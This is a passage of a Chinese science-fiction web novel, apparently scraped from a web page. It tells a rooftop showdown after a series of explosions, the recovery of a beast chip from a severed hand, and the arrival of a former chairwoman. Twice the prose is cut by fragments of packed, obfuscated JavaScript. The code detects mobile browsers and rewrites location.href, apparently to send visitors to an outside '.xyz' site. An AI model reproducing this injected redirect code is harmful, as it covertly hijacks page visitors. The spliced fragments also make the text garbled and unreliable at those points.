l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787780|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除了,关键的运转还在她限度里被她牢牢掌握着。 韶赋修要是像吞掉潼氏那样吃舜氏的话,她也是可以退步的。那又怎样呢?不过是再忍耐些日子,最终再反过来啃下涂云就好了。 她俯览着残破的永璃岛,试图用她的目光在永璃岛版图上写下赢家的“赢”字,但忽然间,她注意到高空的人群松动了。 他们宛若白日降临的流星雨各自携带着一阵无色云烟冲向舜氏,伏策在最前端,炬衍在后,而玄烈的每次用尽全力冲刺都为了能赶上他们。 赶上他们然后呢?阻止?还是眼看着他们毁灭? 告诫过了还是要一心来寻死吗?舜希抓着那引爆器,目不转睛盯着那帮人的行动轨迹。 不怕死?那就先试试看吧! 只见舜希再次将那引爆器举了起来,玄烈只离伏策有两米距离。他心一横,脚下踏着的力量双倍迸发,他猛地冲上前去。 他伸出手臂企图抓着伏策背后的凛烛,可惜他只碰到凛烛的衣角,手便再摸不到了。金属软壳冰凉的外壁留给玄烈手指的触感尚存,一道火光就轰然爆发将他们后面的人全数冲撞出去。 顷刻间,光团褪去,破碎残块带着滚滚浓烟和火焰坠落。 脑震荡带来的嗡嗡耳鸣声让玄烈一恍,再清醒,炬衍已经又飞出去很远了。他是没有停留直接冲破爆炸飞向前的,火星沾在他衣服上经过他翅膀的飞速助推而摩擦空气燃起了大火。 “炬衍!” 玄烈的叫喊被风吹散,炬衍心里迸发出喜悦的心火,从距离来看,他已经比伏策飞得更近了,他是承上启下的。 直到那火蔓延至他的脸颊,火光映在他瞳孔里,舜希慌乱地再摁下那按钮。 “嘭——” 第二声爆炸比第一声来得更加暴烈和残酷,也是光团,也是浓烟,也是能将人击成粉末的冲击波。 最后,玄烈感觉到身后人轻轻拍了拍他。 “玄烈,别认输啊,我们有缘再见。” 紧接着,一道力顺着玄烈后背中心猛地扩散,将他毫无防备地大力推开。 还未来得及转身,又是一声爆炸音,难以忍受的热感涌向他后背,叫嚣的火舌刚要触及他就被一阵烟席卷走了,唯剩庞大的冲击力将他推得脚下泄了力。 重心一倒,玄烈便同那满天飘零的火焰碎块栽头摔了下去。 但他没就这么摔死在地上。降落到一半时是纪凛烛抓住了他,他也立刻回过神来,三人一齐缓缓了落地。 犹如星辰陨落,他们齐齐抬头仰望着天上还未被风吹散的一团团灰色的轻烟。它们像是和背景的白云融为了一体,大片的光仿佛都被阻挡在那之后。他们从未想过有朝一日能见到这样的阴霾天气。 灼灼闪亮的碎片颗粒还在飘散,重的下坠,轻的不知要去向何方,明媚的火夹杂其中,坠落形成的金红色尾焰连成一道道蜿蜒的线,周围宛若银河倾泻而下,只是银河里流淌的是岩浆而非圣水。 浓厚的硝烟火药味钻入他们的鼻腔,遍地碎屑残肢闯入他们眼帘。无法拼合了,很多甚至都无法辨认形状。 “玄烈,那是什么?”纪凛烛指向旁边不起眼的拐角处。 在被爆炸炸得满地乌黑色的废墟里,唯有那里有一只手,小麦色的,攥紧拳的手。 玄烈勉强走着平稳的步子走上前,蹲了下来。的确只是一只手了,从手腕处断掉的,露出内里的机械线路横截面,而整个拳头却奇异地好像从未经受过袭击,好像自然有股力量将这只手保护起来。 那拳头一碰就松开了。掌心里,一枚小巧精致的金色磨砂神兽芯片孤零零沉默地躺着。 209. 终场之战(1) 玄烈略微颤抖地捡起那枚芯片。好重啊,比实验室初次拿到它的时候更重了。 那金属纹路焕发的靓丽光彩,和磨砂背后像被雾蒙住一样的神兽图案,全都昭示着这是多么艰难的失而复得。 芯片离开那只断手的三秒后,那只手突然如阵雷轰烧过一般变得焦黑。那黑是从周围蔓延的,带着灼烧的声音,一点点侵蚀至手掌心。 纪凛烛和绯篱也走上来。纪凛烛眉心一紧,刚想要捧起那手,但她还未用力,那手就崩塌成了一堆灰黑的粉末,掌纹、骨节、指甲,什么都不剩下。 “这是……”纪凛烛忍耐着发颤的声线,久久站不起来。 “……伏策的手。” 回复完这四个字,玄烈的喉咙就如卡住了一块经立千百年风霜侵袭的磐石,朦胧的骤雨侵袭他的心脏,瞳孔也燃烧得痛起来。他还想说点什么,临近嘴边却都变成了气声,无人听得见,无人听得清。 绯篱怔怔地站在几乎是唯一一片没有碎物掉落的地方,她环视了周遭好几圈,每一眼又是万分认真的,害怕有哪一处像这只刚才还算完好手一样被他们忽视了。可惜她谨慎地张望了很久,毫无收获。 她忽而看到玄烈,看见他嘴一张一合的动作,“玄烈老师,你要说什么?” 玄烈也循声看去,绯篱不会哭,但她满脸满眼都是红的,眼睛也略带失神地睁着,看样子快要崩溃了。 纪凛烛还单膝半跪半蹲在一旁,左手抵在腿侧,右手紧紧贴着地面,灰尘与碎屑堆了五层厚的水泥地,带着轻轻哽咽的声音从她低着的脑袋下闷闷传出,“运气……运气太差了……” 此刻,遥远的巨型舜氏建筑更如同巨人轻蔑地俯视着他们。玄烈攥住芯片,遥遥望着那边,那座在蓝幕盾做滤镜下墙体反射出温和淡青色光线的高楼。 高楼之上,一个人站在天台边一动不动。风吹得那人身影摇晃,玄烈摁下嗓子里那阵郁结到快要吐出血来的气,拿出斩翼军指令牌。 “全体斩翼军听令,即刻进入战斗模式,棱镜带领一期一队天台集合,现在!” 这个时日的秋风还带着一股股令人心焦的燥气,海上飘来的咸腥潮气只会越发助长燥气的厚重,空气是发闷的,阳光再好也像浸在盐渍罐里。 舜氏大厦天台,舜希平静地站着。纵使她看不上这副外骨骼也整日穿着,这是她唯一的拐杖,唯一站起来的支撑。 身后有整齐划一的脚步声冲破楼梯走了上来。她回首瞥了一眼,这些斩翼军还不足以放在她眼里。 腕表有响动,是黑寂军全体归位的信号。舜希看着腕表上呈现的数字,脸色松快不下来。就剩这么点人了吗? 她转而摁向设置机械体的按钮,可腕表上迟迟不给出回应。之前机械体的指挥权转给灼琛了,控制权还在她手里,两项权力不统一操作的确是无法驱使这些机械体的,可灼琛现在不是死了吗? 按理说指挥权应该在腕表被毁和灼琛生命体征中断后自动传到她这来的。 “缺乏指挥权,警告,缺乏指挥权……” 腕表不断提示着,舜希却还不死心地点戳着权力转移的按钮。 突然,腕表的提示音变了:“嘀——指挥权转移程序启动,指挥权转移……” 舜希松了口气,眼看着腕表上那关于权力转移的红色进度条一点点推进。她前方,一片阴影出现遮住了洒在她身前和腕表上的光。 玄烈、纪凛烛和绯篱从天而降缓缓落在地上,与此同时,舜希的腕表提示音乍响。 “嘀——指挥权转移程序已完成,最新舜氏机械体指挥权持有者——绯篱。” 在舜希惊诧懊恼的眼神里,绯篱晃了晃灼琛的那块腕表,玄烈“噌”地一声甩出库星锥,眼神带刀地盯着眼前人,“你太着急了。” 舜希轻笑两声,“是吗?依我看,时间刚刚好。” 但她很快也就又笑不出来了。玄烈拿出那枚金灿灿的神兽芯片举在她能够平视的高度,“刚好吗?晚了点吧。” 突然间,引擎嗡鸣声狂风呼啸声由远及近从高处传入舜希的耳朵,旋翼高调地将阳光分割成一块一块的,她回身望去,一只外表锃亮的黑红色庞然大物正向舜氏靠近。 很快,这架在舜希看来如同凭空出现的神奇直升机稳稳落在天台停机坪上。直升机门撤开,一个穿着优雅得体的中年女人被保镖扶了下来。女人走路轻缓,高跟鞋踏出清脆声响。 从换了这副新的外骨骼开始,舜希就再没穿过高跟鞋了。 女人身着旗袍样式浅青色银竹烫纹长裙,花白兽绒披肩搭在肩处,微卷的短发仅及下巴处,豆沙色口红同她耳垂、颈间的淡粉海珍珠相得益彰。脸上的缕缕皱纹非但没衬得她太苍老,反而体现出时间沉淀的丰厚内涵之美。 看着女人靠近,舜希神色愈发显出疑惑,“你是……” “我是在你之前的舜氏董事长,我叫芮之崎。”女人微笑。 “舜氏不能一日无首,”纪凛烛道,“三天前,股东集团在海外分公司开过会了,新的董事会将会以芮之崎女士为首建立。昨日舜氏已派代表与永璃政府签订了协议。战争结束后,涂云会被逐出永璃岛,代价是……黑寂军归政府所有,改编为永璃政府军。” 盯着女人微笑时亮盈盈的眼睛,舜希才明白她彻底溃败了。一声冷笑从她唇间哼出,她只说了两个字。 “小姨。” 女人眯起眼睛,“小希,好久不见。” “好久不见,”舜希叹了口气,“我母亲还好吗?” 女人脸上的笑有一丝凝滞,但她还是维持着慈爱的表情,“小希,我解释过几十次,你母亲在你小时候就胃癌去世了。” “不可能,”舜希没有大吵大闹,语气像开玩笑一样,晶莹的泪水在眼眶里兜兜转转,“她是因为受不了舜延才走的,是你接她走的。” “我接她……”女人脸上显现出些许落寞,“去火葬。” “无论如何!”舜希心不在焉地解开腕表又扣上,眼神飘转着,手里解了又扣解了又扣动作不停,最终归结到一阵苦笑。 “无论如何我已经输了,我不是她的复刻版,没有她的大局观,没能把所有的路铺设在自己这里,没有她的智慧,没能把舜氏抓在手里……” “所以我来了,小希,”女人走上前轻抚着舜希的脸庞,“你怎么没有想过,要是今天所有的路,也都是你母亲几十年前铺设下的呢?” 在舜希和旁边玄烈等人震惊的目光里,女人轻扯出一块手帕,沾了沾舜希眼角的泪。 “舜延、玄铮、韶赋修……走了些弯路而已,我们就差临门一脚。潼氏和涂云就要被舜氏吞掉了,舜氏是我们的,永远都是。” 而后,注意到旁边人的表情,女人转过身来愧疚地笑笑。 “几位辛苦了,十分抱歉,虽然这些年里有一些事的确是我们所为,但我们从未有意伤害几位……也更不想伤害小真。将几位牵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794379|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯入局并非我们的安排,此后舜氏的发展几位不必担心,永璃岛是舜氏的支撑,舜氏未来的发展势必会基于永璃岛的发展繁荣之上,至少我不会松口让舜氏变为涂云那样的魔窟。” 女人话音未落,一道迅猛的雷声骤然爆发在永璃岛的另一端。玄烈被那声音击得心一震,回过头去,远远望见涂云驻地上方天色骤变。 姹紫色闪电将一片片浓重洁白的云刺得全都阴暗下来,原本灿蓝的天变得灰白,紫云灰天阵阵青烟,一团飓风将涂云大厦顶端与天空相接,咆哮的风搅得那片天宛若一道天痕天眼。 凌厉的波向四周扩展,远在舜氏楼顶的他们也能轻而易举感受到那锋刃一样的风。风暴眼下方,一个人形大块头顶天立地,双手托举着蓬勃爆发的能量,位于飓风与涂云天台衔接的地方。 风与沙尘砸在他们身上,玄烈刚要提醒他们注意防护就感到一阵耳鸣。旁边,纪凛烛和绯篱也有同样的反应,斩翼军反应更强烈。 “不、不仅有雷——”纪凛烛抬手边挡风边大喊着,“是磁暴!磁暴!” 生怕这小小的玩意儿被风卷走了,玄烈用力捏着芯片,将其递给纪凛烛。 二人异口同声:“给绯篱!” 纪凛烛拿过芯片站到快被吹跑的绯篱前,“绯篱,可能会有点痛!你忍一下!” 绯篱尚处在懵的状态,她的头发被吹得简直要炸上天。纪凛烛给了她一根发圈,玄烈顶着风艰难地一步步走来,“芯片需要——激发——” “噌”的一下,纪凛烛右手延展出机械体,食指中指并拢,尖刺顶端划出狂风吹不散的火苗,她在风里为皱起眼,“老办法,结血束!” 说着,她伸出手指干脆利落在绯篱锁骨间一划,两道交叉的口子就显现出来。仿生皮肉被刺穿了,露出内在盘综错杂的线路零件。 绯篱从头到脚都绷成了一座立像,她微垂着头,紧紧咬着嘴唇,额角有狰起的青筋,脖颈处皮下青色的血管也愈发明显。 纪凛烛将芯片放进伤口处。来不及再找线缝合了,她便拧转手环指向青绿色指针,柔和清亮的能量光缓缓流入绯篱锁骨处,能量颗粒凝结在两道伤痕边,相当于创口贴,能够暂时性避免伤口恶化。 玄烈将袖子撸起来,去出库星锥,“结血束我来吧。” “不行,”纪凛烛没看他,而是自顾自将自己左臂薄而坚硬的战斗服外甲扯了下来,露出那满是伤痕的手臂,“激活芯片需要双倍乃至更多的能量和血,你负担不了,你的一部分人身可能等不到伤口愈合就坏死了。” 玄烈抓住纪凛烛要刺向自己手臂的手,“等一下。” “放心,这些对第二战备来说不算事。”纪凛烛粲然一笑。 “那我出血,你出能量……” 玄烈话还没说完,几声激荡的闪电带雷叫嚣着开始向市区移动,惨淡的天色逐渐扩展到了舜氏上方。 “要是可以分开的话,结血束就不会被废掉了。” 纪凛烛说着,伸手将自己左臂上划了一圈又一圈,绯篱惊恐地叫了出来,但她的声音瞬间就被风吹走了。殷红的血滴答滴答落下,纪凛烛却如什么都没有发生过一样,连眼睛都不眨一下,只抿着唇,好像这是经常发生的事。 手环窜出的五彩光逆着手臂而上,再顺血流而下,等到能量彻底融合进鲜血里,纪凛烛抹了把血,抹得她右手整个手掌都被血浸透了。 再抬眸,她飞速将那血摁进绯篱的双眼。